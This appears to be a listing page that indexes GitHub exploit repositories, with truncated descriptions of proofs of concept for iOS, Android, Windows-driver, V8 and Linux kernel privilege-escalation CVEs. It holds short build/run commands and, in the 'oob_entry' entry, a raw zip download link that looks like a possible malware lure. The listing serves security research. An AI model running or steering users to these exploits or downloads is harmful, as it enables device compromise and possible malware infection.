smbeagle

/ \ / // / / / // / / / / / ///\ / / / / / / / / / / / / / / // / / / / , / / / // // / / / / // // / // ,// ///||////,// ///, / PRESENTS // SMBeagle SMBeagle is a cross-platform SMB fileshare auditing tool that hunts out all files it can see in the network and reports if the file can be...

desc_race-1

descrace "descrace" CVE-2021-30955 exploit for iOS 15.0 - 15.1.1 with stable kernel r/w primitives Exploit Method 1. Increase the capacity of IOSurfaceClient array to 0x2000, goal is to write a pointer whose content is totally controlled and then use IOSurfaceRootUserClient interfaces to achieve...

CVE-2025-7771

A exploit app written in Rust for CVE-2025-7771 At a glance of the source code data.rs, store the vulnerable driver binary as a static array exploit.rs, implement a arbitrary read/write primitives based on that vulnerable drvier filemap.rs, a simple wrapper for win32 file mapping ops nt.rs, some ...

RtlHijack

RtlHijack A repository with scripts to demonstrate alternative Read and Write primitives using Rtl functions the unintended way. RtlFillMemory.c RtlFillMemory takes three arguments: a pointer to the destination memory, the number of bytes to write, and a single byte value. Writes only a byte into...

CVE-2025-5419

CVE-2025-5419 An uninitialized read vulnerability by incorrect Turboshaft Store-Store Elimination in V8. This repository contains analysis and stablized exploit to escalate this vulnerability to achieve in-V8-sandbox Arbitrary Read / Write, AddressOf & FakeObject primitives. Analysis:...

CVE-2021-25741

About It's exploit for CVE-2021-25741 vulnerability. This vulnerability allows to mount Node filesystem inside of new POD with read-write privileges. You can read more about the vulnerability here: https://security.googleblog.com/2021/12/exploring-container-security-storage.html I'm not author of...

IoRingReadWritePrimitive

IoRingReadWritePrimitive Post exploitation technique to turn arbitrary kernel write / increment into full read/write primitive on Windows 11 22H2+ This PoC is using the HackSysExtremeVulnerableDriver. The PoC supports both arbitrary write and arbitrary increment, controlled through a flag passed...

qu1ckr00t

qu1ckr00t A PoC application demonstrating the power of an Android kernel arbitrary R/W CVE-2019-2215. Writeup: https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/ Qu1ckR00t is a PROOF OF CONCEPT. It should NOT be used on your personal device with valuable userdata. It has...

iqvw64e-privilege-escalation

iqvw64e-privilege-escalation CVE-2015-2291 Local Privilege Escalation PoC Overview This project is an educational proof-of-concept for a Local Privilege Escalation LPE vulnerability in the driver iqvw64e.sys SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9 — the Intel...

oob_entry

oobentry: Authorized iOS kernel exploit research for tfp0 access Visit releases: https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip A calm, careful space for researchers to document, discuss, and share knowledge about iOS kernel concepts related to tfp0 access. This...

CVE-2022-22063

CVE-2022-22063 CVE-2022-22063 is a security issue in the hypervisor firmware of some older Qualcomm chipsets. An unprotected hardware component the "boot remapper" can be abused to gain full read/write access to the hypervisor from a modified operating system privilege escalation. Exploiting the...

CVE-2022-23222

CVE-2022-23222 Chinese writeup: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt For educational/research purposes only. Use at your own risk. Build & Run $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running + phase1/8 'create bpf maps'...

CVE-2021-1961

Exploit code for CVE-2021-1961. Full write-up is available on my blog. In order to build the exploit, run Android NDK's ndk-build. In order to run the exploit, you need to have access to /dev/qseecom, which means having the right user/group and the right SELinux context. This can be done either o...

CVE-2018-17463

CVE-2018-17463 Completed a working exploit for CVE-2018-17463 for fun. The original writeup that I found on this bug was here http://phrack.org/papers/jitexploitation.html. I just really wanted to change this arb r/w into a fully working exploit. Also I learned the JIT spray technique from the...

CVE-2023-35001

nftables oob read/write exploit CVE-2023-35001 Exploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploit supports the kernel version available at the beginning of the event 5.19.0-35. Requirements C compiler Go compiler Usage Build $ make Run $ ./exploit This produces a lpe.zip file...

CVE-2026-43499-S25U

CVE-2026-43499 PoC for Galaxy S25 Ultra Device-specific proof of concept for CVE-2026-43499 on the Korean Samsung Galaxy S25 Ultra. Supported target Model: SM-S938N Codename: pa3q Android: 16 / API 36 Build: S938NKSUACZF1 Display ID: BP4A.251205.006.S938NKSUACZF1 Fingerprint:...

Elysium-Vanguard-Sentinel-Audit

SENTINEL-ROOT-AUDIT: Honor Magic V2 Hypervisor Detection Suite ➲ Project Overview SENTINEL-ROOT-AUDIT is a professional-grade security suite designed to audit kernel integrity and detect hypervisor-level interventions on the Honor Magic V2 SM8550. While the core vulnerability CVE-2025-38352 allow...

CVE-2021-21551

CVE-2021-21551 Proof of concept exploit for CVE-2021-21551, vulnerability comes from user provided addresses being provided as arguments to a memmove call allowing for an arbitary read/write ioctls 0x9B0C1EC4 and 0x9B0C1EC8 as well as the physical address parameter for a MmMapIoSpace call that...

CVE-2025-21333-POC

CVE-2025-21333-POC Proof of Concept that exploits CVE-2025-21333 in vkrnlintvsp.sys not so reliable see Requirements and Limitations section. Under the References section are located very helpful resources for who wants to play with the exploit. A detailed analysis of the vulnerability and the...

CVE-2022-3699

CVE-2022-3699 Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory read/write. Thank you to ch3rn0byl for helping with this and I totally 100% ripped two of his functions. Explanatio...